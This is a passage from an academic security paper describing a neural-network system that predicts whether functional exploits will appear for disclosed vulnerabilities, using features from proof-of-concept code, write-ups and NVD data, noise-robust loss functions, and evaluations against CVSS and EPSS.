In Figure 3(a), we plot, across all vulnerabilities, the earli-
est point in time after disclosure when the first write-ups are
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Figure 3: (a) Number of days after disclosure when vulnera-
bility artifacts are first published. (b) Difference between the
availability of exploits and availability of other artifacts. The
day differences are in logarithmic scale.

published, they are added to NVD, their CVSS and technical
analysis are published in NVD, their first PoCs are released
and when they are first mentioned on Twitter. The publica-
tion delay distribution for all collected artifacts is available in
Figure 1.

Write-ups are the most widely available ones at the time
of disclosure, suggesting that vendors prefer to disclose vul-
nerabilities through either advisories or third party databases.
However, many PoCs are also published early: 71% of vul-
nerabilities have a PoC on the day of disclosure. In contrast,
only 26% of vulnerabilities in our dataset are added to NVD
on the day of disclosure, and surprisingly, only 9% of the
CVSS scores are published at disclosure. This result suggests
that timely exploitability assessments require looking beyond
NVD, using additional sources of technical vulnerability in-
formation, such as the write-ups and PoCs. This observation
drives our feature engineering from Section 6.1.

Figure 3(b) highlights the day difference between the dates
when the exploits become available and the availability of
the artifacts from public vulnerability disclosure. For more
than 92% of vulnerabilities, write-ups are available before
the exploits become available. We also find that the 62%
of PoCs are available before this date, while 64% of CVSS
assessments are added to NVD before. Overall, the avail-
ability of exploits is highly correlated with the emergence
of other artifacts, indicating an opportunity to infer the exis-
tence of functional exploits as soon as, or before, they become
available.
Exploit prediction is subject to feature-dependent label
noise. Good predictions also require a judicious solution to
the label noise challenge discussed in Section 3. The time-
varying view of exploitability revealed that our problem is
subject to class-dependent noise. However, because we ag-
gregate evidence about exploits from multiple sources, their
individual biases could also affect our ground truth. To test
for such individual biases, we investigate the dependence
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Functional Exploits Exploits in the Wild

Tenable X-Force Metasploit Canvas Bugtraq D2 Symantec Contagio Alienvault Bugtraq Skybox Tenable

CWE-79 X X X X X X X X X X X X(0.006)

CWE-94 X X X X X X X X X X X X (1.000)

CWE-89 X X X X X X (1.000) X X X X X X (0.284)

CWE-119 X X X X X X X X X X X X(0.001)

CWE-20 X X X X X X X X (1.000) X X(0.002) X X (1.000)

CWE-22 X X (0.211) X X (1.000) X (1.000) X X (1.000) X (1.000) X (0.852) X (1.000) X (1.000) X (1.000)

Windows X X X X X X (0.012) X X X X X X

Linux X X X X X X (1.000) X X X X X X

Table 1: Evidence of feature-dependent label noise. A Xindicates that we can reject the null hypothesis H0 that evidence of
exploits within a source is independent of the feature. Cells with no p-value are < 0.001.

between all sources of exploit evidence and various vulner-
ability characteristics. For each source and feature pair, we
perform a Chi-squared test for independence, aiming to ob-
serve whether the we can reject the null hypothesis H0 that
the presence of an exploit within the source is independent
of the presence of the feature for the vulnerabilities. Table 1
lists the results for all 12 sources of ground truth, across the
most prevalent vulnerability types and affected products in
our dataset. We utilize the Bonferroni correction for multiple
tests [17] and a 0.01 significance level. We observe that the
null hypothesis can be rejected for at least 4 features for each
source. We observe that the null hypothesis can be rejected
for at least 4 features for each source, indicating that all the
sources for ground truth include biases caused by individual
vulnerability features. These biases could be reflected in the
aggregate ground truth, suggesting that exploit prediction is
subject to class- and feature-dependent label noise.

6 Computing Expected Exploitability

In this section we describe the system for computing EE,
starting from the design and implementation of our feature
extractor, and presenting the classifier choice.

6.1 Feature Engineering
EE uses features extracted from all vulnerability and PoC
artifacts in our datasets, which are summarized in Table 2.
Novel: PoC Code. Intuitively, one of the leading indicators
for the complexity of functional exploits is the complexity of
PoCs. This is because if triggering the vulnerability requires
a complex PoC, an exploit would also have to be complex.
Conversely, complex PoCs could already implement func-
tionality beneficial towards the development of functional
exploits. We use this intuition to extract features that reflect
the complexity of PoC code, by means of intermediate rep-
resentations that can capture it. We transform the code into
Abstract Syntax Trees (ASTs), a low-overhead representation

which encodes structural characteristics of the code. From
the ASTs we extract complexity features such as statistics
of the node types, structural features of the tree, as well as
statistics of control statements within the program and the
relationship between them. Additionally, we extract features
for the function calls within the PoCs towards external library
functions, which in some cases may be the means through
which the exploit interacts with the vulnerability and thereby
reflect the relationship between the PoC and its vulnerability.
Therefore, the library functions themselves, as well as the
patterns in calls to these functions, can reveal information
about the complexity of the vulnerability, which might in turn
express the difficulty of creating a functional exploit. We
also extract the cyclomatic complexity from the AST [32],
a software engineering metric which encodes the number of
independent code paths in the program. Finally, we encode
features of the PoC programming language, in the form of
statistics over the file size and the distribution of language
reserved keywords.

We also observe that the lexical characteristics of the PoC
code provide insights into the complexity of the PoC. For
example, a variable named shellcode in a PoC might sug-
gest that the exploit is in an advanced stage of development.
In order to capture such characteristics, we extract the code
tokens from the entire program, capturing literals, identifiers
and reserved keywords, in a set of binary unigram features.
Such specific information allows us to capture the stylistic
characteristics of the exploit, the names of the library calls
used, as well as more latent indicators, such as artifacts in-
dicating exploit authorship [9], which might provide utility
towards predicting exploitability. Before training the classi-
fier, we filter out lexicon features that appear in less than 10
training-time PoCs, which helps prevent overfitting.
Novel: PoC Info. Because a large fraction of PoCs contain
only textual descriptors for triggering the vulnerabilities with-
out actual code, we also extract features that aim to encode the
technical information conveyed by the authors in the non-code
PoCs, as well as comments in code PoCs. We encode these
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Type Description #

PoC Code (Novel)
Length # characters, loc, sloc 33

Language Programming language label 11

Keywords count Count for reserved keywords 820

Tokens Unigrams from code 92,485

#_nodes # nodes in the AST tree 4

#_internal_nodes # of internal AST tree nodes 4

#_leaf_nodes # of leaves of AST tree 4

#_identifiers # of distinct identifiers 4

#_ext_fun # of external functions called 4

#_ext_fun_calls # of calls to external functions 4

#_udf # user-defined functions 4

#_udf_calls # calls to user-defined functions 4

#_operators # operators used 4

cyclomatic compl cyclomatic complexity 4

nodes_count_* # of AST nodes for each node type 316

ctrl_nodes_count_* # of AST nodes for each control statement type 29

literal_types_count_* # of AST nodes for each literal type 6

nodes_depth_* Stats depth in tree for each AST node type 916

branching_factor Stats # of children across AST 12

branching_factor_ctrl Stats # of children within the Control AST 12

nodes_depth_ctrl_* Stats depth in tree for each Control AST node type 116

operator_count_* Usage count for each operator 135

#_params_udf Stats # of parameters for user-defined functions 12

PoC Info (Novel)
PoC unigrams PoCs text and comments 289,755

Write-ups (Prior Work)
Write-up unigrams Write-ups text 488,490

Vulnerability Info (Prior Work)
NVD unigrams NVD descriptions 103,793

CVSS CVSSv2 & CVSSv3 components 40

CWE Weakness type 154

CPE Name of affected product 10

In-the-Wild Predictors (Prior Work)
EPSS Handcrafted 53

Social Media Twitter content and statistics 898,795

Table 2: Description of features used. Unigram features are
counted before frequency-based pruning.

features as binary unigrams. Unigrams provide a clear base-
line for the performance achievable using NLP. Nevertheless,
in our technical report [60] we investigate the performance
of EE with embeddings, showing that there are additional
challenges in designing semantic NLP features for exploit
prediction, which we leave for future work.
Prior Work: Vulnerability Info and Write-ups. To capture
the technical information shared through natural language
in artifacts, we extract unigram features from all the write-
ups discussing each vulnerability and the NVD descriptions
of the vulnerability. Finally, we extract the structured data
within NVD that encodes vulnerability characteristics: the
most prevalent list of products affected by the vulnerability,
the vulnerability types (CWEID [12]), and all the CVSS Base
Score sub-components, using one-hot encoding.
Prior Work: In-the-Wild Predictors. To compare the effec-

11

Code / Text 
Separation

PoCs

NLPProgram 
Analysis

PoC Code 
Features

NVDWrite-ups

Write-Up 
Features

NVD Info 
Features

PoC Info 
Features

Figure 4: Diagram of the EE feature extraction system.

tiveness of various feature sets, we also extract 2 categories
proposed in prior predictors of exploitation in the wild. The
Exploit Prediction Scoring System (EPSS) [31] proposes 53
features manually selected by experts as good indicators for
exploitation in the wild. This set of handcrafted features con-
tains tags reflecting vulnerability types, products and vendors,
as well as binary indicators of whether PoC or weaponized
exploit code has been published for a vulnerability. Second,
from our collection of tweets, we extract social media features
introduced in prior work [55], which reflect the textual de-
scription of the discourse on Twitter, as well as characteristics
of the user base and tweeting volume for each vulnerability.
Unlike the the original work, we do not perform feature se-
lection on the unigram features from tweets because we want
to directly compare the utility of Twitter discussions to these
from other artifacts. None of the two categories will be used
in the final EE model because of their limited predictive utility.

6.2 Feature Extraction System
Below we describe the components our our feature extraction
system, illustrated in Figure 4, and discuss how we address
the challenges identified in Section 3.
Code/Text Separation. Only 64% of the PoCs in our dataset
contain any file extension that would allow us to identify the
programming language. Moreover, 5% of them have conflict-
ing information from different sources, and we observe that
many PoCs are first posted online as freeform text without
explicit language information. Therefore, a central challenge
is to accurately identify their programming languages and
whether they contain any code. We use GitHub Linguist [24],
to extract the most likely programming languages used in
each PoC. Linguist combines heuristics with a Bayesian clas-
sifier to identify the most prevalent language within a file.
Nevertheless, the model obtains an accuracy of 0.2 on classi-
fying the PoCs, due to the prevalence of natural language text
in PoCs. After modifying the heuristics and retraining the
classifier on 42,195 PoCs from ExploitDB that contain file
extensions, we boost the accuracy to 0.95. The main cause of
errors is text files with code file extensions, yet these errors
have limited impact because of the NLP features extracted
from files.

Table 3 lists the number of PoCs in our dataset for each
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Language # PoCs # CVEs (% exploited)

Text 27743 14325 (47%)

Ruby 4848 1988 (92%)

C 4512 2034 (30%)

Perl 3110 1827 (54%)

Python 2590 1476 (49%)

JavaScript 1806 1056 (59%)

PHP 1040 708 (55%)

HTML 1031 686 (56%)

Shell 619 304 (29%)

VisualBasic 397 215 (41%)

None 367 325 (43%)

C++ 314 196 (34%)

Java 119 59 (32%)

Table 3: Breakdown of the PoCs in our dataset according to
programming language.

identified language label (the None label represents the cases
which our classifier could not identify any language, including
less prevalent programming languages not in our label set).
We observe that 58% of PoCs are identified as text, while
the remaining ones are written in a variety of programming
languages. Based on this separation, we develop regular
expressions to extract the comments from all code files. After
separating the comments, we process them along with the text
files using NLP, to obtain PoC Info features, while the PoC
Code features are obtained using NLP and program analysis.
Code Features. Performing program analysis on the PoCs
poses a challenge because many of them do not have a valid
syntax or have missing dependencies that hinders compilation
or interpretation [2, 40]. We are not aware of any unified
and robust solution to simultaneously obtain ASTs from code
written in different languages. We address this challenge by
employing heuristics to correct malformed PoCs and parsing
them into intermediate representations using techniques that
provide robustness to errors.

Based on Table 3, we observe that some languages are
likely to have a more significant impact on the prediction per-
formance, based on prevalence and frequency of functional
exploits among the targeted vulnerabilities. Given this obser-
vation, we focus our implementation on Ruby, C/C++, Perl
and Python. Note that this choice does not impact the ex-
traction of lexical features from code PoCs written in other
languages.

For C/C++ we use the Joern fuzzy parser for program anal-
ysis, previously proposed for bug discovery [75]. The tool
provides robustness to parsing errors through the use of island
grammars and allows us to successfully parse 98% of the
files.

On Perl, by modifying the existing Compiler::Parser [38]
tool to improve its robustness, and employing heuristics to
correct malformed PoC files, we improve the parsing success
rate from 37% to 83%.

For Python, we implement a feature extractor based on
the ast parsing library [49], achieving a success rate of 67%.
We observe that this lower parsing success rate is due to
the reliance of the language on strict indentation, which is
often distorted or completely lost when code gets distributed
through Webpages.

Ruby provides an interesting case study because, despite
being the most prevalent language among PoCs, it is also
the most indicative of exploitation. We observe that this
is because our dataset contains functional exploits from the
Metasploit framework, which are written in Ruby. We extract
AST features for the language using the Ripper library [54].
Our implementation is able to successfully parse 96% of the
files.

Overall, we successfully parse 13,704 PoCs associated with
78% of the CVEs that have PoCs with code. Each vulnerabil-
ity aggregates only the code complexity features of the most
complex PoC (in source lines of code) across each of the four
languages, while the remaining code features are collected
from all PoCs available.
Unigram Features. We extract the textual features using
a standard NLP pipeline which involves tokenizing the
text from the PoCs or vulnerability reports, removing non-
alphanumeric characters, filtering out English stopwords and
representing them as unigrams. For each vulnerability, the
PoC unigrams are aggregated across all PoCs, and separately
across all write-ups collected within the observation period.
When training a classifier, we discard unigrams which occur
less than 100 times across the training set, because they are
unlikely to generalize over time and we did not observe any
noticeable performance boost when including them.

6.3 Exploit Predictor Design
The predictor concatenates all the extracted features, and uses
the ground truth about exploit evidence, to train a classifier
which outputs the EE score. The classifier uses a feedforward
neural network having 2 hidden layers of size 500 and 100
respectively, with ReLU activation functions. This choice was
dictated by two main characteristics of our domain: feature
dimmensionality and concept drift. First, as we have many
potentially useful features, but with limited coverage, linear
models, such as SVM, which tend to emphasize few important
features [36], would perform worse. Second, deep learning
models are believed to be more robust to concept drift and the
shifting utility of features [46], which is a prevalent issue in
the exploit prediction task [55]. The architecture was chosen
empirically by measuring performance for various settings.
Classifier training. To address the second challenge iden-
tified in Section 3, we incorporate noise robustness in our
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system by exploring several loss functions for the classifier.
Our design choices are driven by two main requirements: (i)
providing robustness to both class- and feature- dependent
noise, and (ii) providing minimal performance degradation
when noise specification is not available.

BCE: The binary cross-entropy is the standard, noise-
agnostic loss for training binary classifiers. For a set of N
examples xi with labels yi ∈ {0,1}, the loss is computed as:

LBCE =− 1
N

N

∑
i=1

[yilog(pθ(xi))+(1− yi)log(1− pθ(xi)]

where pθ(xi) corresponds to the output probability predicted
by our classifier. BCE does not explicitly address requirement
(i), but can be used to benchmark noise-aware losses that aim
to address (ii).

LR: The Label Regularization, initially proposed as a semi-
supervised loss to learn from unlabeled data [35], has been
shown to address class-dependent label noise in malware
classification [15] using a logistic regression classifier.

LLR =− 1
N

N

∑
i=1

[yilog(pθ(xi))]−λKL(p̃||p̂θ)

The loss function complements the log-likelihood loss over
the positive examples with a label regularizer, which is the
KL divergence between a noise prior p̃ and the classifier’s
output distribution over the negative examples p̂θ:

p̂θ =
1
N

N

∑
i=1

[(1− yi)log(1− pθ(xi))]

Intuitively, the label regularizer aims to push the classifier
predictions on the noisy class towards the the expected noise
prior p̃, while the λ hyper-parameter controls the regulariza-
tion strength. We use this loss to observe the extent to which
existing noise correction approaches for related security tasks
apply to our problem. However, this function was not de-
signed to address (ii) and, as our results will reveal, yields
poor performance in our problem.

FC: The Forward Correction loss has been shown to sig-
nificantly improve robustness to class-dependent label noise
in various computer vision tasks [45]. The loss requires a
pre-defined noise transition matrix T ∈ [0,1]2x2, where each
element represents the probability of observing a noisy label
ỹ j for a ture label yi: Ti j = p(ỹ j|yi). For an instance xi, the log-
likelihood is then defined as lc(xi) =−log(T0c(1− pθ(xi))+
T1c pθ(xi)) for each class c ∈ {0,1}. In our case, because we
assume that the probability of falsely labeling non-exploited
vulnerabilities as exploited is negligible, the noise matrix can

be defined as: T =

(
1 0
p̃ 1− p̃

)
, and the loss reduces to:

LFC =− 1
N

N

∑
i=1

[yilog((1− p̃)pθ(xi))+

+(1− yi)log(1− (1− p̃)pθ(xi))]

On the negative class, the loss reduces the penalty for con-
fident positive predictions, allowing the classifier to output a

higher score for predictions which might have noisy labels.
This prevents the classifier from fitting of instances with po-
tentially noisy labels. We analyze the loss in more detail in
the technical report [60]. FC partially addresses requirement
(i), being explicitly designed only for class-dependent noise.
However, unlike LR, it naturally addresses (ii) because it is
equivalent to BCE if p̃ = 0.

FFC: To fully address (i), we modify FC to account for
feature-dependent noise, a loss function we denote Feature
Forward Correction (FFC). We observe that for exploit pre-
diction, feature-dependent noise occurs within the same label
flipping template as class-dependent noise. We use this ob-
servation to expand the noise transition matrix with instance
specific priors: Ti j(x) = p(ỹ j|x,yi). In this case the transition
matrix becomes:

T (x) =

(
1 0

p̃(x) 1− p̃(x)

)
Assuming that we only possess priors for instances that have
certain features f , the instance prior can be encoded as a
lookup-table:

p̃(x,y) =

{
p̃ f if y = 0 and x has f

0 otherwise
While feature-dependent noise might cause the classifier to
learn a spurious correlation between certain features and the
wrong negative label, this formulation mitigates the issue
by reducing the loss only on the instances that posses these
features. In Section 7 we show that feature-specific prior
estimates are achievable from a small set of instances, and use
this observation to compare the utility of class- and feature-
specific noise priors in addressing label noise. When training
the classifier, we discovered optimal performance when using
an ADAM optimizer for 20 epochs and a batch size of 128,
using a learning rate of 5e-6.
Classifier deployment. We evaluate the historic performance
of our classifier by partitioning the dataset into temporal splits,
assuming that the classifier is re-trained periodically, on all
the historical data available at that time. At the time the
classifier is trained, we do not include the vulnerabilities dis-
closed within the last year because the positive labels from
exploitation evidence might not be available until later on. We
discovered that the classifier needs to be retrained every six
months, as less frequent retraining would affect performance
due to a larger time delay between the disclosure of training
and testing instances. During testing, the system operates in
a streaming environment in which it continuously collects
the data published about vulnerabilities then recomputes their
feature vectors over time and predicts their updated EE score.
The prediction for each test-time instance is performed with
the most recently trained classifier. To observe how our clas-
sifier performs over time, we train the classifier using the
various loss functions and test its performance on all vulner-
abilities disclosed between January 2010, when 65% of our
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Feature % Noise Actual Prior Est. Prior # Inst to Est.
CWE-79 14% 0.93 0.90 29
CWE-94 7% 0.36 0.20 5
CWE-89 20% 0.95 0.95 22

CWE-119 14% 0.44 0.57 51
CWE-20 6% 0.39 0.58 26
CWE-22 8% 0.39 0.80 15
Windows 8% 0.35 0.87 15

Linux 5% 0.32 0.50 4

Table 4: Noise simulation setup. We report the % of negative
instances that are noisy, the actual and estimated noise prior,
and the # of instances used to estimate the prior.

BCE LR FC FFC

Feature P AUC P AUC P AUC P AUC

CWE-79 0.58 0.80 0.67 0.79 0.58 0.81 0.75 0.87

CWE-94 0.81 0.89 0.71 0.81 0.81 0.89 0.82 0.89

CWE-89 0.61 0.82 0.57 0.74 0.61 0.82 0.81 0.89

CWE-119 0.78 0.88 0.75 0.83 0.78 0.87 0.81 0.89

CWE-20 0.81 0.89 0.72 0.82 0.80 0.88 0.82 0.90

CWE-22 0.81 0.89 0.69 0.80 0.81 0.89 0.83 0.90

Windows 0.80 0.88 0.71 0.81 0.80 0.88 0.83 0.90

Linux 0.81 0.89 0.71 0.81 0.81 0.89 0.82 0.90

Table 5: Noise simulation results. We report the precision at
a 0.8 recall (P) and the precision-recall AUC. The pristine
BCE classifier performance is 0.83 and 0.90 respectively.

dataset was available for training, and March 2020.

7 Evaluation

We evaluate our approach of predicting expected exploitabil-
ity by testing EE on real-world vulnerabilities and answering
the following questions, which are designed to address the
third challenge identified in Section 3: How effective is EE at
addressing label noise? How well does EE perform compared
to baselines? How well do various artifacts predict exploitabil-
ity? How does EE performance evolve over time? Can EE
anticipate imminent exploits? Does EE have practicality for
vulnerability prioritization?

7.1 Feature-dependent Noise Remediation
To observe the potential effect of feature-dependent label
noise on our classifier, we simulate a worst-case scenario in
which our training-time ground truth is missing all the ex-
ploits for certain features. The simulation involves training
the classifier on dataset DS2, on a ground truth where all the
vulnerabilities with a specific feature f are considered not
exploited. At testing time, we evaluate the classifier on the
original ground truth labels. Table 4 describes the setup for
our experiments. We investigate 8 vulnerability features, part

of the Vulnerability Info category, that we analyzed in Sec-
tion 5: the six most prevalent vulnerability types, reflected
through the CWE-IDs, as well as the two most popular prod-
ucts: linux and windows. Mislabeling instances with these
features results in a wide range of noise: between 5-20% of
negative labels become noisy during training.

All techniques require priors about the probability of noise.
The LR and FC approaches require a prior p̃ over the entire
negative class. To evaluate an upper bound of their capabil-
ities, we assume perfect prior and set p̃ to match the frac-
tion of training-time instances that are mislabeled. The FFC
approach assumes knowledge of the noisy feature f . This
assumption is realistic, as it is often possible to enumerate the
features that are most likely noisy (e.g. prior work identified
linux as a noise-inducing feature due to the fact that the
vendor collecting exploit evidence does not have a product
for the platform [55]). Besides, FFC requires estimates of the
feature-specific priors p̃ f . We assume an operational scenario
were p̃ f is estimated once, by manually labeling a subset of
instances collected after training. We use the vulnerabilities
disclosed in the first 6 months after training for estimating
p̃ f and require that these vulnerabilities are correctly labeled.
Table 4 shows the actual and the estimated priors p̃ f , as well
as the number of instances used for the estimation. We ob-
serve that the number of instances required for estimation
is small, ranging from 5 to 51 across all features f , which
demonstrates that setting feature-based priors is feasible in
practice. Nevertheless, we observe that the estimated priors
are not always accurate approximations of the actual ones,
which might negatively impact FFC’s ability to address the
effect of noise.

In Table 5 we list the results of our experiment. For each
classifier, we report the the precision achievable at a recall of
0.8, as well as the precision-recall AUC. Our first observation
is that the performance of the vanilla BCE classifier is not
equally affected by noise across different features. Interest-
ingly, we observe that the performance drop does not appear
to be linearly dependent on the amount of noise: both CWE-79
and CWE-119 result in 14% of the instances being poisoned,
yet only the former inflicts a substantial performance drop
on the classifier. Overall, we observe that the majority of
the features do not result in significant performance drops,
suggesting that BCE offers a certain amount of built-in robust-
ness to feature-dependent noise, possibly due to redundancies
in the feature space which cancel out the effect of the noise.

For LR, after performing a grid search for the optimal
λ parameter which we set to 1, we were unable to match
the BCE performance on the pristine classifier. Indeed, we
observe that the loss is unable to correct the effect of noise
on any of the features, suggesting that it is not a suitable
choice for our classifier as it does not address any of the two
requirements of our classifier.

On features where BCE is not substantially affected by
noise, we observe that FC performs similarly well.However,
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Figure 5: Performance, evaluated 30 days after disclosure,
of (a) EE compared to baselines, (b) individual feature cate-
gories. We report the Area under the Curve (AUC) and list
the corresponding TPR/FPR curves in Appendix A.1.

on CWE-79 and CWE-89, the two features which inflict the
most performance drop, FC is not able to correct the noise
even with perfect priors, highlighting the inability of the ex-
isting technique to capture feature-dependent noise. In con-
trast, we observe that FFC provides a significant performance
improvement. Even for the feature inducing the most degra-
dation, CWE-79, the FFC AUC is restored within 0.03 points
of the pristine classifier, although suffering a slight precision
drop. On most features, FCC approaches the performance of
the pristine classifier, in spite of being based on inaccurate
prior estimates.

Our result highlights the overall benefits of identifying
potential sources of feature-dependent noise, as well as the
need for noise correction techniques tailored to our problem.
In the remainder of this section we will use the FFC with
p̃ f = 0 (which is equivalent to BCE), in order to observe how
the classifier performs in absence of any noise priors.

7.2 Effectiveness of Exploitability Prediction

Next, we evaluate the effectiveness of our system compared to
the three static metrics described in Section 5, as well as two
state-of-the-art classifiers from prior work. These two predic-
tors, EPSS [31], and the Social Media Classifier (SMC) [55],
were proposed for exploits in the wild and we re-implement
and re-train them for our task. EPSS trains an ElasticNet
regression model on the set of 53 hand-crafted features ex-
tracted from vulnerability descriptors. SMC combines the
social media features with vulnerability information features
from NVD to learn a linear SVM classifier. For both baselines,
we perform hyper-parameter tunning and report the highest
performance across all experiments, obtained using λ= 0.001
for EPSS and C = 0.0001 for SMC. SMC is trained starting
from 2015, as our tweets collection does not begin earlier.

In Figure 5a we plot the precision-recall trade-off of the
classifiers trained on dataset DS1, evaluated 30 days after the

disclosure of test-time instances. We observe that none of
the static exploitability metrics exceed 0.5 precision, while
EE significantly outperforms all the baselines. The perfor-
mance gap is especially apparent for the 60% of exploited
vulnerabilities, where EE achieves 86% precision, whereas
the SMC, the second-best performing classifier, obtains only
49%. We also observe that for around 10% of vulnerabilities,
the artifacts available within 30 days have limited predictive
utility, which affects the performance of these classifiers.
EE uses the most informative features. To understand why
EE is able to outperform these baselines, in Figure 5b we plot
the performance of EE trained and evaluated on individual
categories of features (i.e. only considering instances which
have artifacts within these categories). We observe that the
handcrafted features are the worst performing category, per-
haps due to the fact that the 53 features are not sufficient to
capture the large diversity of vulnerabilities in our dataset.
These features encode the existence of public PoCs, which
is often used by practitioners as a heuristic rule for deter-
mining which vulnerabilities must be patched urgently. Our
results suggest that this heuristic provides a weak signal for
the emergence of functional exploits, in line with prior work
predicting exploits [2, 31, 64], which concluded that PoCs
"are not a reliable source of information for exploits in the
wild" [2]. Nevertheless, we can achieve a much higher preci-
sion at predicting exploitability by extracting deeper features
from the PoCs. The PoC Code features provide a 0.93 preci-
sion for half of the exploited vulnerabilities, outperforming
all other categories. This suggests that code complexity can
be a good indicator for the likelihood of functional exploits,
although not on all instances, as indicated by the sharp drop
in precision beyond the 0.5 recall. A major reason for this
drop is the existence of post-exploit mitigation techniques:
even if a PoC is complex and contains advanced functionality,
defenses might impede successful exploitation beyond denial
of service. This highlights how our feature extractor is able
to represent PoC descriptions and code characteristics which
reflect exploitation efforts. Both the PoC and Write-up fea-
tures, which EE capitalizes on, perform significantly better
than other categories.

Surprisingly, we observe that social media features, are
not as useful for predicting functional exploits as they are
for exploits in the wild [55], a finding reinforced by our ad-
ditional experiments from the technical report [60], which
show that they do not improve upon other categories. This
is because tweets tend to only summarize and repeat infor-
mation from write-ups, and often do not contain sufficient
technical information to predict exploit development. Besides,
they often incur an additional publication delay over the orig-
inal write-ups they quote. Overall, our evaluation highlights
a qualitative distinction between the problem of predicting
functional exploits and that of predicting exploits in the wild.
EE improves when combining artifacts. Next we look at
the interaction among features on dataset DS2. In Figure 6a
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Figure 6: (a) Performance of EE compared to constituent
subsets of features. (b) P evaluated at different points in time.

we compare the performance of EE trained on all feature sets,
with that trained on PoCs and vulnerability features alone.
We observe that PoC features outperform these from vul-
nerabilities, while their combination results in a significant
performance improvement. The result highlights the two cat-
egories complement each other and confirm that PoC features
provide additional utility for predicting exploitability. On the
other hand, as described in detail in the technical report [60],
we observe no added benefit when incorporating social media
features into EE. We therefore exclude them from our final EE
feature set.
EE performance improves over time. In order to evaluate
the benefits of time-varying exploitability, the precision-recall
curves are not sufficient, because they only capture a snapshot
of the scores in time. In practice, the EE score would be
compared to that of other vulnerabilities disclosed within a
short time, based on their most recent scores. Therefore, we
introduce a metric P to compute the performance of EE in
terms of the expected probability of error over time.

For a given vulnerability i, its score EEi(z) computed on
date z and its label Di (Di = 1 if i is exploited and 0 other-
wise), the error P EE(z, i,S) w.r.t. a set of vulnerabilities S is
computed as:

P EE(z, i,S) =


||{D j=0∧EE j(z)≥EEi(z)| j∈S}||

||S|| if Di = 1
||{D j=1∧EE j(z)≤EEi(z)| j∈S}||

||S|| if Di = 0

If i is exploited, the metric reflects the number of vulnerabil-
ities in S which are not exploited but are scored higher than
i on date z. Conversely, if i is not exploited, P computes
the fraction of exploited vulnerabilities in S which are scored
lower than it. The metric captures the amount of effort spent
prioritizing vulnerabilities with no known exploits. For both
cases, a perfect score would be 0.0.

For each vulnerability, we set S to include all other vulner-
abilities disclosed within t days after its disclosure. Figure 6b
plots the mean P over the entire dataset, when varying t
between 0 and 30, for both exploited and non-exploited vul-
nerabilities. We observe that on the day of disclosure, EE
already provides a high performance for exploited vulnera-

PCV SS P EPSS P EE (δ) P EE (δ+10) P EE (δ+30) P EE (2020-12-07)

Mean 0.51 0.36 0.31 0.25 0.22 0.04
Std 0.24 0.28 0.33 0.25 0.27 0.11

Median 0.35 0.40 0.22 0.12 0.10 0.00

Table 6: Performance of EE and baselines at prioritizing crit-
ical vulnerabilities. P captures the fraction of recent non-
exploited vulnerabilities scored higher than critical ones.

bilities: on average, only 10% of the non-exploited vulnera-
bilities disclosed on the same day will be scored higher than
an exploited one. However, the score tends to overestimate
the exploitability of non-exploited vulnerabilities, resulting
in many false positives. This is in line with prior observa-
tions that static exploitability estimates available at disclosure
have low precision [55]. By following the two curves along
the X-axis, we observe the benefits of time-varying features.
Over time, the errors made on non-exploited vulnerabilities
decrease substantially: while such a vulnerability is expected
to be ranked above 44% exploited ones on the day of dis-
closure, it will be placed above 14% such vulnerabilities 10
days later. The plot also shows that this sharp performance
boost for the non-exploited vulnerabilities incurs a smaller
increase in error rates for the exploited class. We do not ob-
serve great performance improvements after 10 days from
disclosure. Overall, we observe that time-varying exploitabil-
ity contributes to a substantial decrease in the number of false
positives, therefore improving the precision our estimates. To
complement our evaluation, the precision-recall trade-offs at
various points in time is reported in Appendix A.1.

7.3 Case Studies
In this section we investigate the practical utility of EE through
two case studies.
EE for critical vulnerabilities. To understand how well EE
distinguishes important vulnerabilities, we measure its per-
formance on a list of recent ones flagged for prioritized re-
mediation by FireEye [21]. The list was published on De-
cember 8 2020, after the corresponding functional exploits
were stolen [22]. Our dataset contains 15 of the 16 critical
vulnerabilities.

We measure how well our classifier prioritizes these vul-
nerabilities compared to static baselines, using the P prioriti-
zation metric defined in the previous section, which computes
the fraction of non exploited vulnerabilities from a set S that
are scored higher than the critical ones. For each of the 15 vul-
nerabilities, we set S to contain all others disclosed within 30
days from it, which represent the most frequent alternatives
for prioritization decisions. Table 6 compares the statistics
for the baselines, and for P EE computed on the date criti-
cal vulnerabilities were disclosed δ, 10 and 30 days later, as
well as one day before the prioritization recommendation was
published. CVSS scores are published a median of 18 days
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Figure 7: Time-varying AUC when distinguishing exploits
published within t days from disclosure (a) for EE and base-
lines, (b) simulating earlier exploit availability.

after disclosure, and we observe that EE already outperforms
static baselines based only on the features available at dis-
closure, while time-varying features improve performance
significantly. Overall, one day before the prioritization recom-
mendation is issued, our classifier scores the critical vulner-
abilities below only 4% of these with no known exploit. In
our technical report [60] we list the individual vulnerabilities,
their scores, and analyze the factors impacting performance
for various examples. Our results indicate that EE is a valu-
able input to patching prioritization frameworks, because it
outperforms existing metrics and improves over time.
EE for emergency response. Next, we investigate how well
our classifier can predict exploits published shortly after dis-
closure. To this end, we look at the 924 vulnerabilities in DS3
for which we obtained exploit publication estimates. In the
technical report [60] we perform a statistical test and conclude
that DS3 is a representative sample of all other exploits in our
dataset.

We measure the performance of EE at predicting vulnerabil-
ities exploited within t days from disclosure. For a given vul-
nerability i and EEi(z) computed on date z, we can compute
the time-varying sensitivity Se=P(EEi(z)> c|Di(t)= 1) and
specificity Sp = P(EEi(z) ≤ c|Di(t) = 0) [26], where Di(t)
indicates whether the vulnerability was already exploited by
time t. By varying the detection threshold c, we obtain the
time-varying AUC of the classifier which reflects how well
the classifier separates exploits happening within t days from
these happening later on. In Figure 7a we plot the AUC for
our classifier evaluated on the day of disclosure δ, as well as
10 and 20 days later, for the exploits published within 30 days.
While the CVSS Exploitability remains below 0.5, EE(δ)
constantly achieves an AUC above 0.68.This suggests that
the classifiers implicitly learns to assign higher scores to vul-
nerabilities that are exploited sooner than to these exploited
later. For EE(δ+10) and EE(δ+20), in addition to similar
trends over time, we also observe the benefits of additional
features collected in the days after disclosure, which shift the
overall prediction performance upward.

We further consider the possibility that the timestamps in
DS3 may be affected by label noise. We evaluate the potential
impact of this noise with an approach similar to the one in
Section 7.1. We simulate scenarios where we assume that a
percentage of PoCs are already functional, which means that
their later exploit-availability dates in DS3 are incorrect. For
those vulnerabilities, we update the exploit availability date
to reflect the publication date of these PoCs. This provides a
conservative estimate, because the mislabeled PoCs could be
in an advanced state of development, but not yet fully func-
tional, and the exploit-availability dates could also be set too
early. We simulate percentages of late timestamps ranging
from 10–90%. Figure 7b plots the performance of EE(δ) in
this scenario, averaged over 5 repetitions. We observe that
even if 70% of PoCs are considered functional, the classi-
